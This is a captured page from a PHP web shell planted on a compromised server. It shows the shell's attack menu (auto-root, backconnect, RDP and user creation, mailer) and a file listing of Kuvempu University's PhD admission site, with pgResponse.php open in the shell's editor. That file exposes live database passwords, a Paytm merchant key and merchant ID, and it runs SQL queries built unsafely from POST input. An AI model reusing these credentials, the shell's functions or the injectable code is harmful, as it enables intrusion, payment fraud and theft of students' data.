Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.117.119.34
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
kus /
phdadm /
[ HOME SHELL ]
Name
Size
Permission
Action
Paytm
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
student_photos
[ DIR ]
drwxrwxrwx
tcpdf
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
MainPage.html
27.4
KB
-rwxr-xr-x
MainPage_with_values.html
28.18
KB
-rwxr-xr-x
Registrationpage.html
5.54
KB
-rwxr-xr-x
Reprint.html
6.43
KB
-rwxr-xr-x
app.php
416
B
-rwxr-xr-x
cconfig.php
1.49
KB
-rwxr-xr-x
index.html
4.91
KB
-rwxr-xr-x
pgResponse.php
7.68
KB
-rwxr-xr-x
upload.php
393
B
-rwxr-xr-x
upload1.php
389
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pgResponse.php
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport"> <title>Addmission Panel</title> <!-- Favicon--> <link rel="icon" href="favicon.ico" type="image/x-icon"> <!-- Google Fonts --> <link href="https://fonts.googleapis.com/css?family=Roboto:400,700&subset=latin,cyrillic-ext" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet" type="text/css"> <link href="plugins/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <!-- Bootstrap Core Css --> <link href="plugins/bootstrap/css/bootstrap.css" rel="stylesheet"> <!-- Waves Effect Css --> <link href="plugins/node-waves/waves.css" rel="stylesheet" /> <!-- Animation Css --> <link href="plugins/animate-css/animate.css" rel="stylesheet" /> <!-- Wait Me Css --> <link href="plugins/waitme/waitMe.css" rel="stylesheet" /> <link href="plugins/sweetalert/sweetalert.css" rel="stylesheet" /> <link href="plugins/dropzone/dropzone.css" rel="stylesheet"> <!-- Custom Css --> <link href="css/style.css" rel="stylesheet"> <!-- AdminBSB Themes. You can choose a theme from css/themes instead of get all themes --> <link href="css/themes/all-themes.css" rel="stylesheet" /> </head> <body class="theme-cyan"> <!-- Page Loader --> <div class="page-loader-wrapper"> <div class="loader"> <div class="preloader"> <div class="spinner-layer pl-red"> <div class="circle-clipper left"> <div class="circle"></div> </div> <div class="circle-clipper right"> <div class="circle"></div> </div> </div> </div> <p>Please wait...</p> </div> </div> <!-- #END# Page Loader --> <!-- Top Bar --> <nav class="navbar"> <div class="container-fluid" style="color: #fff;"> <div class='col-md-12 m-t--5'> <a href="index.html" style="float: right; padding-top: 15px;font-size:16px;color: #fff;">Home</a> <center> <h2>KUVEMPU UNIVERSITY</h2> </center> <center> <h3 style="margin-top: -4px;margin-right: 30px;">Admission Panel</h3> </center> </div> </div> </nav> <section class="content"> <div class="row clearfix"> <div class="container-fluid"> <div class="col-lg-10 col-md-10 col-sm-12 col-xs-12"> <div class="card p-l-20 p-r-20 p-b-100" style="padding-bottom: 200px"> <div class="header"> <h2>PAYMENT STATUS</h2> </div> <?php // following files need to be included require_once("./lib/config_paytm.php"); require_once("./lib/encdec_paytm.php"); $paytmChecksum = ""; $paramList = array(); $isValidChecksum = "FALSE"; // $servername = "97.74.228.93"; // $username = "logisys3_logu"; // $password = "Logisys@2106"; // $dbname = "logisys3_kus"; $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com"; $username = "admin"; $password = "T0g3th3r@all"; $dbname = "logisys3_kus"; $conn = new mysqli($servername, $username, $password, $dbname); $paramList = $_POST; $paytmChecksum = isset($_POST["CHECKSUMHASH"]) ? $_POST["CHECKSUMHASH"] : ""; //Sent by Paytm pg //Verify all parameters received from Paytm pg to your application. Like MID received from paytm pg is same as your application’s MID, TXN_AMOUNT and ORDER_ID are same as what was sent by you to Paytm PG for initiating transaction etc. $isValidChecksum = verifychecksum_e($paramList, 'CC_cHhDZDqzUskbQ', $paytmChecksum); //will return TRUE if($isValidChecksum == "TRUE") { $status = $_POST["STATUS"]; $productinfo = $_POST["ORDERID"]; $txnid = $_POST["TXNID"]; $appno = $_POST["MERC_UNQ_REF"]; $MID = $_POST["MID"]; $CHECKSUMHASH = $_POST["CHECKSUMHASH"]; $MID = 'KuvUni77420253992631'; $requestParamList = array(); $responseParamList = array(); $requestParamList = array("MID" => "{$MID}" , "ORDERID" => "{$productinfo}", "MERC_UNQ_REF" => "{$appno}"); $checkSum = getChecksumFromArray($requestParamList,'CC_cHhDZDqzUskbQ'); $requestParamList['CHECKSUMHASH'] = urlencode($checkSum); $data_string = "JsonData=".json_encode($requestParamList); $update="update studadm set FPAYMENTREMARKS='{$data_string}' where fappno ='{$appno}'"; $result=$conn->query($update); $ch = curl_init(); // initiate curl //$url = "https://pguat.paytm.com/oltp/HANDLER_INTERNAL/getTxnStatus?"; // where you want to post data $url = "https://secure.paytm.in/oltp/HANDLER_INTERNAL/getTxnStatus?"; // where you want to post data curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POST, true); // tell curl you want to post something curl_setopt($ch, CURLOPT_POSTFIELDS,$data_string); // define what you want to post curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return the output in string format $headers = array(); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $output = curl_exec($ch); // execute $info = curl_getinfo($ch); $data = json_decode($output, true); //echo "<b>Checksum matched and following are the transaction details:</b>" . "<br/>"; if ($data["STATUS"] == "TXN_SUCCESS") { $status = $data["STATUS"]; $txnid = $data["TXNID"]; $MID = $data["MID"]; $productinfo = $_POST["ORDERID"]; $appno = $_POST["MERC_UNQ_REF"]; $CHECKSUMHASH = $_POST["CHECKSUMHASH"]; echo "<center><h3 style='color:green;'>Thank You. Your order status is success</h3>"; echo "<h3>Your Transaction ID for this transaction is ".$data['TXNID'].".</h3>"; echo "<h3>We have received a payment of Rs. " . $data['TXNAMOUNT'] ."</h3></center>"; $html=" <center><button type='button' class='btn btn-primary waves-effect btn-lg' onclick = \"PrintApplicationFormpaytmNETBANKING('{$appno}');\">Print Application </button></center>"; echo $html; $update="update studadm set FPAYMENTSTATUS='success', FPAYMENTID = '{$txnid}',FPAYMENTDATE = now() where fAPPNO ='{$appno}'"; $result=$conn->query($update); } else { echo "<b>Transaction status is failure</b>" . "<br/>"; } } ?> </div> </div> </div> </div> </div> </section> <script src="js/appForm.js"></script> <script src="js/control.js"></script> <script src="js/validate.js"></script> <script src="js/kusPhdAdm.js"></script> <script src="js/Registrationpage.js"></script> <!-- Jquery Core Js --> <script src="plugins/jquery/jquery.min.js"></script> <!-- Bootstrap Core Js --> <script src="plugins/bootstrap/js/bootstrap.js"></script> <!-- Select Plugin Js --> <script src="plugins/bootstrap-select/js/bootstrap-select.js"></script> <!-- Slimscroll Plugin Js --> <script src="plugins/jquery-slimscroll/jquery.slimscroll.js"></script> <!-- Waves Effect Plugin Js --> <script src="plugins/node-waves/waves.js"></script> <script src="plugins/sweetalert/sweetalert.min.js"></script> <!-- Custom Js --> <script src="js/admin.js"></script> <!-- Demo Js --> <script src="js/demo.js"></script> </body> </html>
Close